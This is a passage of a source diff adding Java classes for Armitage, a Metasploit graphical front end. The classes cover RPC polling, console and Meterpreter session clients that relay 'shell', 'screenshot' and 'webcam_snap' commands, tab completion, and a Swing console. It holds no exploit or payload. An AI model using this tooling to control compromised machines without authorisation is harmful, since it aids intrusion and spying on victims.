ScriptLoader loader = new ScriptLoader();
loader.addSpecificBridge(this);
/* check for server mode option */
boolean serverMode = false;
int x = 0;
for (x = 0; x < args.length; x++) {
if (args[x].equals("--server"))
serverMode = true;
}
/* load the appropriate scripts */
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
try {
for (x = 0; x < scripts.length; x++) {
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
ScriptInstance si = loader.loadScript(scripts[x], i, environment);
si.runScript();
}
}
catch (YourCodeSucksException yex) {
System.out.println("*** File: " + scripts[x]);
yex.printErrors(System.out);
}
catch (IOException ex) {
System.err.println(ex);
ex.printStackTrace();
}
}
public static void main(String args[]) {
new ArmitageMain(args);
}
}

View File

@ -0,0 +1,36 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
/** A generic class to execute several queries and return their results */
public class ArmitageThread implements Runnable {
protected ArmitageThreadClient client;
public ArmitageThread(ArmitageThreadClient c) {
this.client = c;
}
public void start() {
new Thread(this).start();
}
public void run() {
while (true) {
long sleepFor = client.execute();
if (sleepFor <= 0) {
return;
}
else {
try {
Thread.sleep(sleepFor);
}
catch (Exception ex) {
}
}
}
}
}

View File

@ -0,0 +1,8 @@
package armitage;
import java.util.*;
public interface ArmitageThreadClient {
/** return -1 to stop the thread, return >=0 value to have the thread call this client again */
public long execute();
}

View File

@ -0,0 +1,111 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
/** A generic class to execute several queries and return their results */
public class ArmitageTimer implements Runnable {
protected RpcConnection connection;
protected String command;
protected long sleepPeriod;
protected ArmitageTimerClient client;
protected boolean cacheProtocol;
/* keep track of the last response we got *and* its hashcode... */
protected Map lastRead = new HashMap();
protected long lastCode = -1L; /* can't be 0 or we'll never fire an initial event */
public ArmitageTimer(RpcConnection connection, String command, long sleepPeriod, ArmitageTimerClient client, boolean doCache) {
this.connection = connection;
this.command = command;
this.sleepPeriod = sleepPeriod;
this.client = client;
cacheProtocol = doCache;
new Thread(this).start();
}
public static long dataIdentity(Object v) {
long r = 0L;
if (v == null) {
return 1L;
}
else if (v instanceof Collection) {
Iterator j = ((Collection)v).iterator();
while (j.hasNext()) {
r += 11 * dataIdentity(j.next());
}
}
else if (v instanceof Map) {
Iterator i = ((Map)v).values().iterator();
while (i.hasNext()) {
r += 13 * dataIdentity(i.next());
}
}
else if (v instanceof Number) {
return v.hashCode();
}
else {
return v.toString().hashCode();
}
return r;
}
protected boolean changed = false;
/* we will override this in a subclass if we need to change it */
protected boolean alwaysFire() {
return false;
}
private Map readFromClient() throws java.io.IOException {
Object arguments[];
if (cacheProtocol) {
arguments = new Object[1];
arguments[0] = new Long(lastCode);
}
else {
arguments = new Object[0];
}
Map result = (Map)connection.execute(command, arguments);
if (!result.containsKey("nochange")) {
lastRead = result;
lastCode = dataIdentity(result);
changed = true;
}
else {
//System.err.println("No change: " + command + ", " + lastCode);
changed = false;
}
return lastRead;
}
public void run() {
Map read = null;
try {
while ((read = readFromClient()) != null) {
if (changed || command.equals("session.list") || alwaysFire()) {
if (client.result(command, null, read) == false) {
return;
}
}
if (sleepPeriod <= 0) {
return;
}
else {
Thread.sleep(sleepPeriod);
}
}
}
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
System.err.println("Thread id: " + command + " -> " + read);
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
}
}
}

View File

@ -0,0 +1,10 @@
package armitage;
import java.util.*;
/** A client for the ArmitageTimer class. It's easier to have a Java class handle all this vs. using Sleep's fork mechanism. This way we get thread safety
for any Sleep data structures by default. */
public interface ArmitageTimerClient {
/** return true if you want the timer to continue running. The arguments are the command, arguments, and the result of them. */
public boolean result(String command, Object[] arguments, Map result);
}

View File

@ -0,0 +1,6 @@
package armitage;
public interface ConsoleCallback {
public void sessionRead(String sessionid, String text);
public void sessionWrote(String sessionid, String text);
}

View File

@ -0,0 +1,258 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
import java.util.regex.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
simpler than this Java code. *sigh* */
public class ConsoleClient implements Runnable, ActionListener {
protected RpcConnection connection;
protected Console window;
protected String readCommand;
protected String writeCommand;
protected String destroyCommand;
protected String session;
protected LinkedList listeners = new LinkedList();
protected boolean echo = true;
protected boolean go_read = true;
protected ActionListener sessionListener = null; /* one off listener to catch "sessions -i ##" */
public void setSessionListener(ActionListener l) {
sessionListener = l;
}
public void kill() {
synchronized (listeners) {
go_read = false;
}
}
public Console getWindow() {
return window;
}
public void setEcho(boolean b) {
echo = b;
}
public void setWindow(Console console) {
synchronized (this) {
window = console;
setupListener();
}
}
public void addSessionListener(ConsoleCallback l) {
listeners.add(l);
}
public void fireSessionReadEvent(String text) {
Iterator i = listeners.iterator();
while (i.hasNext()) {
((ConsoleCallback)i.next()).sessionRead(session, text);
}
}
public void fireSessionWroteEvent(String text) {
Iterator i = listeners.iterator();
while (i.hasNext()) {
((ConsoleCallback)i.next()).sessionWrote(session, text);
}
}
public ConsoleClient(Console window, RpcConnection connection, String readCommand, String writeCommand, String destroyCommand, String session, boolean swallow) {
this.window = window;
this.connection = connection;
this.readCommand = readCommand;
this.writeCommand = writeCommand;
this.destroyCommand = destroyCommand;
this.session = session;
setupListener();
if (swallow) {
try {
readResponse();
}
catch (Exception ex) {
System.err.println(ex);
}
}
new Thread(this).start();
}
/* call this if the console client is referencing a metasploit console with tab completion */
public void setMetasploitConsole() {
window.addActionForKey("ctrl pressed Z", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
sendString("background\n");
}
});
new TabCompletion(window, connection, session, "console.tabs");
}
/* called when the associated tab is closed */
public void actionPerformed(ActionEvent ev) {
if (destroyCommand != null) {
new Thread(new Runnable() {
public void run() {
try {
connection.execute(destroyCommand, new Object[] { session });
}
catch (Exception ex) {
ex.printStackTrace();
}
}
}).start();
}
}
protected void finalize() {
actionPerformed(null);
}
private static final Pattern interact = Pattern.compile("sessions -i (\\d+)\n");
public void _sendString(String text) {
if (writeCommand == null)
return;
/* intercept sessions -i and deliver it to a listener within armitage */
if (sessionListener != null) {
Matcher m = interact.matcher(text);
if (m.matches()) {
sessionListener.actionPerformed(new ActionEvent(this, 0, m.group(1)));
return;
}
}
Map read = null;
try {
synchronized (this) {
if (window != null && echo) {
window.append(window.getPromptText() + text);
}
}
connection.execute(writeCommand, new Object[] { session, text });
read = readResponse();
processRead(read);
fireSessionWroteEvent(text);
}
catch (Exception ex) {
ex.printStackTrace();
}
}
protected void setupListener() {
synchronized (this) {
if (window != null) {
window.getInput().addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
final String text = window.getInput().getText() + "\n";
window.getInput().setText("");
sendString(text);
}
});
}
}
}
public static String cleanText(String text) {
StringBuffer string = new StringBuffer(text.length());
char chars[] = text.toCharArray();
for (int x = 0; x < chars.length; x++) {
if (chars[x] != 1 && chars[x] != 2)
string.append(chars[x]);
}
return string.toString();
}
private Map readResponse() throws Exception {
return (Map)(connection.execute(readCommand, new Object[] { session }));
}
private long lastRead = 0L;
private void processRead(Map read) throws Exception {
if (! "".equals( read.get("data") )) {
String text = read.get("data") + "";
synchronized (this) {
if (window != null)
window.append(text);
}
fireSessionReadEvent(text);
lastRead = System.currentTimeMillis();
}
synchronized (this) {
if (! "".equals( read.get("prompt") ) && window != null) {
window.updatePrompt(cleanText(read.get("prompt") + ""));
}
}
}
protected LinkedList commands = new LinkedList();
public void sendString(String text) {
synchronized (listeners) {
commands.add(text);
}
}
public void run() {
Map read;
boolean shouldRead = go_read;
String command = null;
try {
while (shouldRead) {
synchronized (listeners) {
if (commands.size() > 0) {
command = (String)commands.removeFirst();
}
}
if (command != null) {
_sendString(command);
command = null;
lastRead = System.currentTimeMillis();
}
read = readResponse();
if (read == null || "failure".equals( read.get("result") + "" )) {
break;
}
processRead(read);
if ((System.currentTimeMillis() - lastRead) <= 500) {
Thread.sleep(10);
}
else {
Thread.sleep(500);
}
synchronized (listeners) {
shouldRead = go_read;
}
}
}
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
}
}
}

View File

@ -0,0 +1,252 @@
package armitage;
import console.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import msf.*;
import java.math.*;
import java.security.*;
/* Implements a class for writing commands to a console and firing an event when the command is successfully executed
(with its output). My hope is that this will replace the CommandClient class which likes to execute stuff out of order */
public class ConsoleQueue implements Runnable {
protected RpcConnection connection;
protected LinkedList listeners = new LinkedList();
protected LinkedList listeners_all = new LinkedList();
protected LinkedList commands = new LinkedList();
protected String consoleid = null;
protected Console display = null;
private static class Command {
public Object token;
public String text;
public long start = System.currentTimeMillis();
}
public Console getWindow() {
return display;
}
public static interface ConsoleCallback {
public void commandComplete(String consoleid, Object token, String response);
}
/* I'm not necessarily trying to bloat this class, but this method will let me get rid of another class */
public java.util.List tabComplete(String pcommand) {
try {
Map read = (Map)connection.execute("console.tabs", new Object[] { consoleid, pcommand });
if (read.containsKey("tabs")) {
return (java.util.List)read.get("tabs");
}
}
catch (Exception ex) {
ex.printStackTrace();
}
return new LinkedList();
}
public void addListener(ConsoleCallback l) {
listeners.add(l);
}
public void addSessionListener(ConsoleCallback l) {
listeners_all.add(l);
}
public void setDisplay(final Console display) {
this.display = display;
display.getInput().addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
display.getInput().setText("");
addCommand(null, ev.getActionCommand());
}
});
}
public void fireSessionReadEvent(String text) {
Iterator i = listeners_all.iterator();
while (i.hasNext()) {
((ConsoleCallback)i.next()).commandComplete(consoleid, null, text);
}
}
public void fireEvent(Command command, String output) {
if (command.token == null)
return;
Iterator i = listeners.iterator();
while (i.hasNext()) {
((ConsoleCallback)i.next()).commandComplete(consoleid, command != null ? command.token : null, output);
}
}
public ConsoleQueue(RpcConnection connection) {
this.connection = connection;
}
public boolean isEmptyData(String data) {
return "".equals(data) || "null".equals(data);
}
protected void processCommand(Command c) {
Map read = null;
try {
if (c.text.startsWith("ECHO ")) {
if (display != null) {
display.append(c.text.substring(5));
}
return;
}
StringBuffer writeme = new StringBuffer();
writeme.append(c.text);
writeme.append("\n");
/* absorb anything misc */
read = readResponse();
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
/* print ze command y0 */
if (display != null) {
display.append(prompt + writeme.toString());
}
/* write our command to whateverz */
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
/* start collecting output */
StringBuffer output = new StringBuffer();
Thread.sleep(10);
int count = 0;
long start = System.currentTimeMillis();
while ((read = readResponse()) != null) {
String text = null;
if (! isEmptyData( read.get("data") + "" ) ) {
text = read.get("data") + "";
output.append(text);
count++;
}
else if ("false".equals( read.get("busy") + "" ) && isEmptyData( read.get("data") + "" )) {
if (count > 0) {
break;
}
else if ((System.currentTimeMillis() - start) > 10000) {
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't ever trigger. */
System.err.println("Timed out: " + c.text);
break;
}
}
else if ("failure".equals( read.get("result") + "" )) {
break;
}
if (!prompt.equals( ConsoleClient.cleanText(read.get("prompt") + "") )) {
/* this is a state change, we'll count it */
count++;
}
Thread.sleep(10);
}
/* fire an event with our output */
fireEvent(c, output.toString());
}
catch (Exception ex) {
System.err.println(consoleid + " -> " + c.text + " ( " + read + ")");
ex.printStackTrace();
}
}
public void addCommand(Object token, String text) {
synchronized (this) {
if (text.trim().equals("")) {
return;
}
Command temp = new Command();
temp.token = token;
temp.text = text;
commands.add(temp);
}
}
protected boolean stop = false;
public void start() {
new Thread(this).start();
}
public void stop() {
synchronized (this) {
stop = true;
}
}
public void destroy() {
synchronized (this) {
destroyCommand = "console.release_and_destroy";
stop = true;
}
}
protected Command grabCommand() {
synchronized (this) {
return (Command)commands.pollFirst();
}
}
/* keep grabbing commands, acquiring locks, until everything is executed */
public void run() {
try {
Map read = (Map)connection.execute("console.allocate", new Object[] {});
consoleid = read.get("id") + "";
while (true) {
Command next = grabCommand();
if (next != null) {
processCommand(next);
Thread.sleep(10);
}
else {
synchronized (this) {
if (stop) {
break;
}
}
if (display != null)
readResponse();
Thread.sleep(1000);
}
}
connection.execute(destroyCommand, new Object[] { consoleid });
}
catch (Exception ex) {
System.err.println("This console appears to be dead! " + consoleid + ", " + ex);
return;
}
}
private String destroyCommand = "console.release";
private Map readResponse() throws Exception {
Thread.yield();
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
if (display != null && !isEmptyData(temp.get("data") + "")) {
display.append(temp.get("data") + "");
fireSessionReadEvent(temp.get("data") + "");
}
if (display != null && !isEmptyData(temp.get("prompt") + "")) {
String prompt = ConsoleClient.cleanText(temp.get("prompt") + "");
display.updatePrompt(prompt);
}
return temp;
}
}

View File

@ -0,0 +1,91 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
simpler than this Java code. *sigh* */
public abstract class GenericTabCompletion {
protected Console window;
/* state for the actual tab completion */
protected String last = null;
protected Iterator tabs = null;
public Console getWindow() {
return window;
}
public GenericTabCompletion(Console window) {
this.window = window;
window.addActionForKey("pressed TAB", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
tabComplete(ev);
}
});
}
public abstract Collection getOptions(String text);
public void tabComplete(ActionEvent ev) {
String text = window.getInput().getText();
if (text.length() == 0)
return;
if (tabs != null && tabs.hasNext() && text.equals(last)) {
last = (String)tabs.next();
window.getInput().setText(last);
}
else {
try {
LinkedHashSet responses = new LinkedHashSet();
Collection options = getOptions(text);
if (options == null)
return;
/* cycle through all of our options, we want to split items up to the
first slash. We also want them to be unique and ordered (hence the
linked hash set */
Iterator i = options.iterator();
while (i.hasNext()) {
String option = i.next() + "";
String begin;
String end;
if (text.length() > option.length()) {
begin = option;
end = "";
}
else {
begin = option.substring(0, text.length());
end = option.substring(text.length());
}
int nextSlash;
if ((nextSlash = end.indexOf('/')) > -1 && (nextSlash + 1) < end.length()) {
end = end.substring(0, nextSlash);
}
responses.add(begin + end);
}
responses.add(text);
tabs = responses.iterator();
last = (String)tabs.next();
window.getInput().setText(last);
}
catch (Exception ex) {
ex.printStackTrace();
}
}
}
}

View File

@ -0,0 +1,94 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/* This is a rewritten client class to keep compatible with ConsoleClient but interface with the new
MeterpreterSession class. This new class makes sure each command is executed and receives its output
before the next one is executed. This prevents the Armitage UI from becoming confused */
public class MeterpreterClient implements ActionListener, MeterpreterSession.MeterpreterCallback {
protected Console window;
protected MeterpreterSession session;
protected ActionListener shellCommand;
public Console getWindow() {
return window;
}
public void commandComplete(String sid, Object token, Map response) {
if (token == this || token == null)
processRead(response);
}
public void commandTimeout(String sid, Object token, Map response) {
window.append("[*] Timed out waiting for command to complete.\n");
}
private void processRead(Map read) {
try {
if (! "".equals( read.get("data") )) {
String text = read.get("data") + "";
window.append(text);
}
if (! "".equals( read.get("prompt") )) {
window.updatePrompt(ConsoleClient.cleanText(read.get("prompt") + ""));
}
}
catch (Exception ex) {
throw new RuntimeException(ex);
}
}
public MeterpreterClient(Console window, MeterpreterSession session, ActionListener shellCommand) {
this.window = window;
this.session = session;
this.shellCommand = shellCommand;
this.session.addListener(this);
setupListener();
window.updatePrompt("meterpreter > ");
}
/* called when the associated tab is closed */
public void actionPerformed(ActionEvent ev) {
/* nothing we need to do for now */
}
protected void finalize() {
actionPerformed(null);
}
public void sendString(String text) {
window.append(window.getPromptText() + text);
session.addCommand(this, text);
}
protected void setupListener() {
window.getInput().addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
String text = window.getInput().getText() + "\n";
window.getInput().setText("");
if (shellCommand != null && text.trim().equals("shell")) {
shellCommand.actionPerformed(new ActionEvent(this, 0, "shell"));
}
else if (shellCommand != null && text.trim().equals("screenshot")) {
shellCommand.actionPerformed(new ActionEvent(this, 0, "screenshot"));
}
else if (shellCommand != null && text.trim().equals("webcam_snap")) {
shellCommand.actionPerformed(new ActionEvent(this, 0, "webcam_snap"));
}
else {
sendString(text);
}
}
});
}
}

View File

@ -0,0 +1,18 @@
package armitage;
import console.Console;
import java.util.*;
/* uses a console queue as a tab completion source */
public class QueueTabCompletion extends GenericTabCompletion {
protected ConsoleQueue queue;
public QueueTabCompletion(Console window, ConsoleQueue queue) {
super(window);
this.queue = queue;
}
public Collection getOptions(String text) {
return queue.tabComplete(text);
}
}

View File

@ -0,0 +1,40 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
/** A generic class to execute several queries and return their results */
public class SimpleTimer implements Runnable {
protected long sleepPeriod;
protected Runnable doit;
protected boolean flag;
public SimpleTimer(long period) {
sleepPeriod = period;
flag = true;
}
public void setRunnable(Runnable r) {
doit = r;
new Thread(this).start();
}
/* this should only be called within the thread executing the runnable */
public void stop() {
flag = false;
}
public void run() {
try {
while (flag) {
doit.run();
Thread.sleep(sleepPeriod);
}
}
catch (Exception ex) {
System.err.println("TIMER DIED | continue: " + flag + ", " + sleepPeriod + "ms, " + doit);
ex.printStackTrace();
}
}
}

View File

@ -0,0 +1,41 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.io.IOException;
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
simpler than this Java code. *sigh* */
public class TabCompletion extends GenericTabCompletion {
protected RpcConnection connection;
protected String session;
protected String tabsCommand;
public TabCompletion(Console window, RpcConnection connection, String session, String tabsCommand) {
super(window);
this.connection = connection;
this.session = session;
this.tabsCommand = tabsCommand;
}
public Collection getOptions(String text) {
try {
Map response = (Map)connection.execute(tabsCommand, new Object[] { session, text });
if (response.get("tabs") == null)
return null;
Collection options = (Collection)response.get("tabs");
return options;
}
catch (IOException ioex) {
ioex.printStackTrace();
}
return null;
}
}

View File

@ -0,0 +1,581 @@
package console;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
import java.io.PrintStream;
import java.util.*;
import armitage.Activity;
/** A generic multi-feature console for use in the Armitage network attack tool */
public class Console extends JPanel implements FocusListener {
protected JTextArea console;
protected JTextField input;
protected JLabel prompt;
protected PrintStream log = null;
protected Properties display;
protected Font consoleFont;
protected ClickListener clickl;
protected String defaultPrompt = "meterpreter > ";
protected LinkedList components = new LinkedList();
protected ListIterator history = new LinkedList().listIterator(0);
public void addWordClickListener(ActionListener l) {
clickl.addListener(l);
}
public void writeToLog(PrintStream p) {
log = p;
}
public void setDefaultPrompt(String p) {
defaultPrompt = p;
}
public void setPopupMenu(ConsolePopup menu) {
clickl.setPopup(menu);
}
public class ClickListener extends MouseAdapter {
protected LinkedList listeners = new LinkedList();
protected ConsolePopup popup = null;
protected Console parent = null;
public ClickListener(Console parent) {
this.parent = parent;
}
public void setPopup(ConsolePopup popup) {
this.popup = popup;
}
public void addListener(ActionListener l) {
listeners.add(l);
}
public void mousePressed(MouseEvent ev) {
checkPopup(ev);
}
public void mouseReleased(MouseEvent ev) {
checkPopup(ev);
}
public void checkPopup(MouseEvent ev) {
if (ev.isPopupTrigger()) {
if (popup != null && console.getSelectedText() == null) {
String result = resolveWord();
popup.showPopup(result, ev);
}
else {
getPopupMenu((JTextComponent)ev.getSource()).show((JComponent)ev.getSource(), ev.getX(), ev.getY());
}
}
}
public void mouseClicked(MouseEvent ev) {
if (!ev.isPopupTrigger()) {
String result = resolveWord();
Iterator i = listeners.iterator();
ActionEvent event = new ActionEvent(parent, 0, result);
if (!"".equals(result)) {
while (i.hasNext()) {
ActionListener l = (ActionListener)i.next();
l.actionPerformed(new ActionEvent(parent, 0, result));
}
}
}
else {
checkPopup(ev);
}
}
public String resolveWord() {
int position = console.getCaretPosition();
String data = console.getText();
int start = data.lastIndexOf(" ", position);
int end = data.indexOf(" ", position);
if (start == -1)
start = 0;
if (end == -1)
end = data.length();
if (end >= start) {
String temp = data.substring(start, end).trim();
int a = temp.indexOf("\n");
if (a > 0) {
return temp.substring(0, a);
}
return temp;
}
return null;
}
}
public JTextField getInput() {
return input;
}
public void updateProperties(Properties display) {
this.display = display;
updateComponentLooks();
}
private void updateComponentLooks() {
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
Iterator i = components.iterator();
while (i.hasNext()) {
JComponent component = (JComponent)i.next();
component.setForeground(foreground);
component.setBackground(background);
component.setFont(consoleFont);
if (component == console || component == prompt) {
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
}
else {
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
}
if (component instanceof JTextComponent) {
JTextComponent tcomponent = (JTextComponent)component;
tcomponent.setCaretColor(foreground.brighter());
}
}
}
public String getPromptText() {
return prompt.getText();
}
protected boolean promptLock = false;
/* this function is not thread safe */
public void setPrompt(String text) {
String bad = "\ufffd\ufffd";
if (text.equals(bad) || text.equals("null")) {
prompt.setText(defaultPrompt);
}
else {
defaultPrompt = text;
prompt.setText(text);
}
}
/** updates the prompt. This is a thread-safe funtion */
public void updatePrompt(final String _prompt) {
if (SwingUtilities.isEventDispatchThread()) {
setPrompt(_prompt);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
if (!promptLock)
setPrompt(_prompt);
}
});
}
}
protected void appendToConsole(String _text) {
if (_text.endsWith("\n") || _text.endsWith("\r")) {
if (!promptLock) {
console.append(_text);
if (log != null)
log.print(_text);
}
else {
console.append(prompt.getText());
}
if (!_text.startsWith(prompt.getText()))
promptLock = false;
}
else {
int breakp = _text.lastIndexOf("\n");
if (breakp != -1) {
console.append(_text.substring(0, breakp + 1));
prompt.setText(_text.substring(breakp + 1) + " ");
if (log != null)
log.print(_text.substring(0, breakp + 1));
}
else {
prompt.setText(_text);
}
promptLock = true;
}
if (console.getDocument().getLength() >= 1) {
console.setCaretPosition(console.getDocument().getLength() - 1);
}
}
/** appends the text. This is a thread-safe function */
public void append(final String _text) {
if (SwingUtilities.isEventDispatchThread()) {
appendToConsole(_text);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
appendToConsole(_text);
}
});
}
}
protected JPanel bottom = null;
/** call this to remove the input area */
public void noInput() {
if (SwingUtilities.isEventDispatchThread()) {
remove(bottom);
validate();
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
remove(bottom);
validate();
}
});
}
}
public Console() {
this(new Properties());
}
public Console(Properties display) {
this.display = display;
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
setLayout(new BorderLayout());
setBorder(new EmptyBorder(2, 2, 2, 2));
/* init the console */
console = new JTextArea();
console.setEditable(false);
console.setLineWrap(true);
console.addFocusListener(this);
JScrollPane scroll = new JScrollPane(
console,
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
add(scroll, BorderLayout.CENTER);
/* init the prompt */
prompt = new JLabel();
/* init the input */
input = new JTextField();
/* gymnastics because Java shares a static keymap among all textfields by default... grrr */
input.setKeymap(JTextField.addKeymap(null, input.getKeymap()));
/* handle the popup menu */
input.addMouseListener(new MouseAdapter() {
public void checkEvent(MouseEvent e) {
if (e.isPopupTrigger()) {
getPopupMenu((JTextComponent)e.getSource()).show((JComponent)e.getSource(), e.getX(), e.getY());
}
}
public void mouseClicked(MouseEvent e) { checkEvent(e); }
public void mousePressed(MouseEvent e) { checkEvent(e); }
public void mouseReleased(MouseEvent e) { checkEvent(e); }
});
/* do this so I can bind the Tab key */
input.setFocusTraversalKeys(KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, new HashSet());
input.setFocusTraversalKeys(KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, new HashSet());
input.setFocusTraversalKeys(KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, new HashSet());
/* bottom */
bottom = new JPanel();
bottom.setLayout(new BorderLayout());
bottom.add(input, BorderLayout.CENTER);
bottom.add(prompt, BorderLayout.WEST);
add(bottom, BorderLayout.SOUTH);
/* keep track of components that we want to make pretty */
components.add(input);
components.add(console);
components.add(scroll);
components.add(prompt);
components.add(bottom);
components.add(this);
updateComponentLooks();
/* add keyboard shortcuts */
/* Alt+K - clear screen */
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
console.setText("");
}
});
/* Ctrl+A - select all */
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
console.requestFocus();
console.selectAll();
}
});
/* Escape - clear input buffer */
addActionForKeySetting("console.clear_buffer.shortcut", "ESCAPE", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
input.setText("");
}
});
setupFindShortcutFeature();
setupPageShortcutFeature();
setupFontShortcutFeature();
setupHistoryFeature();
/* setup our word click listener */
clickl = new ClickListener(this);
console.addMouseListener(clickl);
}
public JPopupMenu getPopupMenu(final JTextComponent _component) {
JPopupMenu menu = new JPopupMenu();
JMenuItem cut = new JMenuItem("Cut", 'C');
JMenuItem copy = new JMenuItem("Copy", 'o');
JMenuItem paste = new JMenuItem("Paste", 'P');
JMenuItem clear = new JMenuItem("Clear", 'l');
if (_component.isEditable())
menu.add(cut);
menu.add(copy);
menu.add(paste);
menu.add(clear);
cut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
_component.cut();
}
});
copy.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
_component.copy();
}
});
cut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
_component.cut();
}
});
paste.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
input.paste();
}
});
clear.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
_component.setText("");
}
});
return menu;
}
private void setupFindShortcutFeature() {
final Properties myDisplay = display;
final Console myConsole = this;
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
final SearchPanel search = new SearchPanel(console, highlight);
final JPanel north = new JPanel();
JButton goaway = new JButton("X ");
SearchPanel.removeBorderFromButton(goaway);
goaway.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
myConsole.remove(north);
myConsole.validate();
search.clear();
}
});
north.setLayout(new BorderLayout());
north.add(search, BorderLayout.CENTER);
north.add(goaway, BorderLayout.EAST);
myConsole.add(north, BorderLayout.NORTH);
myConsole.validate();
search.requestFocusInWindow();
search.requestFocus();
}
});
}
private void setupFontShortcutFeature() {
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
changeFontSize(1.0f);
}
});
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
changeFontSize(-1.0f);
}
});
/* Ctrl+0 - reset the font to the default size */
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
updateComponentLooks();
}
});
}
private void setupPageShortcutFeature() {
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Rectangle visible = new Rectangle(console.getVisibleRect());
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
if (scrollme.getY() <= 0) {
visible.setLocation(0, 0);
}
console.scrollRectToVisible(scrollme);
}
});
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
Rectangle visible = new Rectangle(console.getVisibleRect());
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
if (scrollme.getY() >= console.getHeight()) {
visible.setLocation(0, console.getHeight());
}
console.scrollRectToVisible(scrollme);
}
});
}
/* handle the keyboard history stuff */
private void setupHistoryFeature() {
input.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
if (!"".equals(ev.getActionCommand()))
history.add(ev.getActionCommand());
}
});
addActionForKeySetting("console.history_previous.shortcut", "UP", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
if (history.hasPrevious()) {
input.setText((String)history.previous());
}
else {
input.setText("");
}
}
});
addActionForKeySetting("console.history_next.shortcut", "DOWN", new AbstractAction() {
public void actionPerformed(ActionEvent ev) {
if (history.hasNext()) {
input.setText((String)history.next());
}
else {
input.setText("");
}
}
});
}
private void changeFontSize(float difference) {
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
updateComponentLooks();
}
public void addActionForKeyStroke(KeyStroke key, Action action) {
input.getKeymap().addActionForKeyStroke(key, action);
}
public void addActionForKey(String key, Action action) {
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
}
public void addActionForKeySetting(String key, String dvalue, Action action) {
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
if (temp != null) {
addActionForKeyStroke(temp, action);
}
}
/* focus listener for our input thing */
public void focusGained(FocusEvent ev) {
if (!ev.isTemporary() && ev.getComponent() == console) {
